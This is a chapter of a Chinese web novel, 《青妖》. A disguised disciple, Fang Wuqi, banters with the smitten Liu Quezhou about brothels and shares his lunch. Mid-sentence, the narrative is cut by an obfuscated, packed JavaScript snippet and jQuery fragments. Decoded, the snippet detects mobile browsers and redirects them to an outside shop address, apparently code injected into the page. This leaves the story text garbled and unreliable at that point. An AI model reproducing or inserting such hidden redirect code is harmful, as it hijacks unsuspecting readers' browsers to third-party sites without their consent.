80. 师门传统

作品:《青妖

    祸世青妖的八卦,一直都是坊间人们极感兴趣和关注的,也是众江湖人士茶余饭后的谈资,更是被不少说书的凭空臆想,编了许多段子传于坊间。


    关于这青妖就是幽都之主的传闻也有许多,光是柳却洲一人就听过好几个版本,不过也就是些捕风捉影的消息,未能拿得出真凭实据。


    现下听到“其其姑娘”这番说辞,柳却洲想,她说不定真有什么内幕消息,于是道:“姑娘细说。”


    方无其哪有什么内幕消息,有的也是在瀛洲人尽皆知的——被青妖逼婚的可怜少女,从幽都一路逃往瀛洲。


    这件事在师门里也算得上是个秘密了,为了不背叛师门,也为了不给小七惹麻烦,方无其含糊道:“这、这有什么好细说的,他住在幽都就住在幽都呗。”


    “姑娘是如何得知?”


    见他一门心思问到底,方无其嘴里不满地“啧”了一声,故弄玄虚对他道:“不能说不能说,这样的事,你略知一二就得了,再多嘴,恐惹来杀身之祸。”


    柳却洲见她这模样,想起了前几日给自己送餐的那位林下男弟子,当时也是话说到一半就摆出这副故作高深的模样,着实令人扫兴。


    虽然面前坐的是自己心心念念的“其其姑娘”,可柳却洲还是忍不住在心下埋怨道:怎的瀛洲的人都这副德行,难不成是他们的师门传统?


    柳却洲又问:“其其姑娘,你方才提到‘之前’,言下之意,是说这青妖如今不在幽都了么?”


    方无其不耐烦地摆手:“哎呀!你老管那个青妖做什么,我想跟你说的不是青妖,是幽都的楼子,去逛过幽都的楼子没?嗯?”


    柳却洲素爱寻花问柳,这天底下有名的酒楼有哪家他没去过。只是逛酒楼这等男人寻欢作乐的事从一个姑娘家嘴里说出,柳却洲心下又生出了几分诧异。


    “其其姑娘”如此问他,难不成……是在检验他的品行?


    柳却洲连忙摇头:“从未。”


    方无其知道这人爱拈花惹草,这会儿吃饱喝足后本想与他一道品鉴品鉴幽都的美姬,没曾想他竟是这般回复。


    “哇——那你这……”活得也太失败了吧?


    方无其又问:“那你去过最好的酒楼是哪家?”


    柳却洲一愣,这“其其姑娘”竟然直接将自己的话堵死了,默认他去过酒楼!


    这该怎么回呢?若说没去过,她都这般问自己,定是不信。若说去过,她难免心生醋意,还会将自己看低一等,认为自己同寻常的俗世男子无异。


    柳却洲尽量让自己的目光看起来诚恳些,答道:“应是凤凰城的泉莺楼吧,不过我向来只喝酒,不做别的。”


    “噢——泉莺楼啊,我去过,”方无其往一旁地上吐了两瓣瓜子皮,回忆道:“那家头牌一般,有个叫扈三娘的还不错,不过还是赶不上醉仙楼的姑娘。”


    柳却洲听到这话,下巴都快掉到地上去了。


    “其、其其姑娘,你怎会知道这么多?”


    方无其随口胡诌道:“我常跟着师门里的人出去办事,他们爱去,我自然也就跟着去了。”


    实际上每回嚷嚷着要将盘缠省下来去逛酒楼的都是他。


    柳却洲这下当真是对这位姑娘刮目相看了。


    随后,他听“其其姑娘”说起这酒楼的乐子,竟是不比他知道的少,并且言辞上像是一点也不介意这种寻花问柳之事,仿佛这样的事对她而言,只是稀松平常的乐子一样。


    世间竟还有这等宽宏大度的女子!


    柳却洲阅女无数,也算是见识过各类女子的善妒,有些女人妒恨起来,着实可怕。若只是为他小打小闹,争风吃醋,倒也别有情调,可柳却洲曾遇到过好几个因为妒忌,想将他的姘头置之于死地的女人。


    他那姘头后来被善妒的女人划了脸,毁了容,还险些丢了性命,柳却洲夹在这两个女人中间左右为难,动手也不是,不动手也不是,最后只得将二人分开,都弃了,一个人远远地离去。


    他一度认为,女子善妒和男子好色一样,是天性使然,是改不了的毛病。故见到“其其姑娘”能有这般胸怀,柳却洲感叹:这世间竟有如此完人,这“其其姑娘”简直就是人世间所有男子的梦中人。


    美人常有,而知音难觅。可当这美人与知音合为一体,并且还是人间绝色时,试问天下有何人,能挡住“其其姑娘”的魅力?


    夜能共赴巫山雨,日能畅聊世间事,这简直就是神仙过的日子!不,是要比神仙过得还畅快!


    柳却洲看着“其其姑娘”在自己跟前眉飞色舞,侃侃而谈,心下决定,他这一生,定是非“其其姑娘”不可!


    两人就在屋里这么谈天说地了一上午,甚是投缘,直至午时隔壁屋的林下弟子来送饭了,二人这才发觉竟已到晌午了。


    方无其暂且告别柳却洲,说是要去伙房替他拿午膳。


    出了门后,方无其遮了脸,沿着饮客居到伙房的大道找了一路,包括路边的大树草丛,都未发现小七的身影。


    他下山时明明和小七约好了在路边的老树后相会,小七领了饭给他,由他来给那癫公送饭。


    这小东西,难得同她讲几句正事,却左耳进右耳出。


    方无其心下埋怨。


    现下他身上没有饮客居的牌子,自己又是一副不伦不类的装扮,去伙房领不到餐食不说,搞不好还会暴露身份。


    方无其想了想,转身朝饮客居走去…


    柳却洲候在门口,目送“其其姑娘”远去,人都走没影儿了好一会儿,他还在那里痴痴地望着。


    院子里不断有林下弟子进出,柳却洲想起了什么,随手拦住一林下弟子问道:“兄台,借问一下,你们师门里可有一位‘其其姑娘’?”


    那林下弟子想了想,搔搔头道:“你说的是谁?方诗琪?方瑞琪?方雨绮?方小七……”


    柳却洲头一下就大了,忙打断他:“罢了罢了,无事。”


    柳却洲心想,自己原来还尚不知晓“其其姑娘”的全名。


    正当此时,那抹熟悉的身影现于院子口,柳却洲欣喜地迎上去,却被“其其姑娘”拉到一旁偏僻处。


    “柳少侠,我跟你商量个事儿。”


    “姑娘请讲。”


    “原本呢,给你送饭的是我的师妹,我是为了见你,这才顶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213690|190054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了她来。现下她人找不到了,我身上又没有腰牌,不如……你就自个儿去伙房拿饭吧。”


    听到那句“我是为了见你”后,柳却洲的心抑制不住地在胸腔里狂跳。


    原来“其其姑娘”是为了见他,才特地下山而来,她的心意,明显得不能再明显了。若不是现在他二人处在光天化日之下,人多眼杂,恐辱了姑娘名声,柳却洲定是要当即对着她苦诉一番衷肠。


    “好,姑娘在此等我,我现在就去。”柳却洲压抑下内心的狂喜,抬脚往院外走去。


    “哎哎哎——”


    方无其在他身后悄声与他递话,“记得多拿个碗,到时候分与我些。”


    一想到要与“其其姑娘”共进午膳,柳却洲腿脚走得飞快,若不是念着“其其姑娘”还在饮客居等他,柳却洲定是要坐船出岛,去对岸的馆子里买两个下酒菜。


    不多时,柳却洲便拎着餐盒回来了。


    看着柳却洲在他跟前将碗筷一一摆好,为他盛饭布菜,方无其心下感叹道:犯花痴的男人比缺心眼师妹好使唤多了。


    方无其同他口干舌燥地讲了一上午,这会儿也不跟他客气,喝了杯茶水润润嗓子后,端起碗筷就开吃。


    瀛洲的吃穿用度均是定量的,岛上又无集市,柳却洲此刻自然是不敢动筷,只想着将好吃的统统留给“其其姑娘”。


    “味道如何?”


    看着“其其姑娘”吃得津津有味,他又忍不住问道。


    方无其白了他一眼,嚼着东西含糊道:“不是跟你说了嘛,比起外头差远了。”


    长老阁位于花南台,所以瀛洲方氏长老们的伙食也应是由花南台伙房供应。连长老们的伙食都这般不合“其其姑娘”的胃口,想必那林下弟子吃的饭菜,对她来说定是难以下咽。


    想到此处,柳却洲不由得对她心疼起来:“姑娘平时用饭,定是味同嚼蜡吧。”


    方无其啃鸡肉啃到一半,听到这话,斜眼向他看来:“谁跟你说的?我平日里吃的饭菜味道比这好多了。”


    柳却洲不解,方无其又道:“我师姐的手艺,可比花南台伙房那些凶婆子好多了。就是巧妇难为无米之炊,平日里得不到什么肉吃。”


    柳却洲这才忆起,在“其其姑娘”和天才姑娘的院子里,确实还有一位木筷簪发的师姐,那师姐样貌平平,没想到竟还是个巧手厨娘。


    柳却洲正想着,眼角瞥见“其其姑娘”那挂在耳边的遮脸白纱蹭到了木筷,沾上了些许油渍。


    他刚想出声提醒,却突然留意起来这遮脸白纱,想起了昨晚令他辗转难眠的心事。


    思索良久,柳却洲还是开口道:“其其姑娘,你在外头为何要用这纱挡住脸?”


    方无其正用筷子挑着菜里的辣椒,听到这话后不加思索回道:“怕被人认出来。”


    柳却洲疑道:“为何?”


    方无其面上神色如常,实际上脑筋转得飞快。他将盘子里的辣椒来回拨了半天,而后放下筷子,叹了口气道:“唉——柳少侠,既然你问到此处,有些事,就不得不告诉你了。”


    柳却洲见她神情凝重,心下顿时生出了一种不好的预感。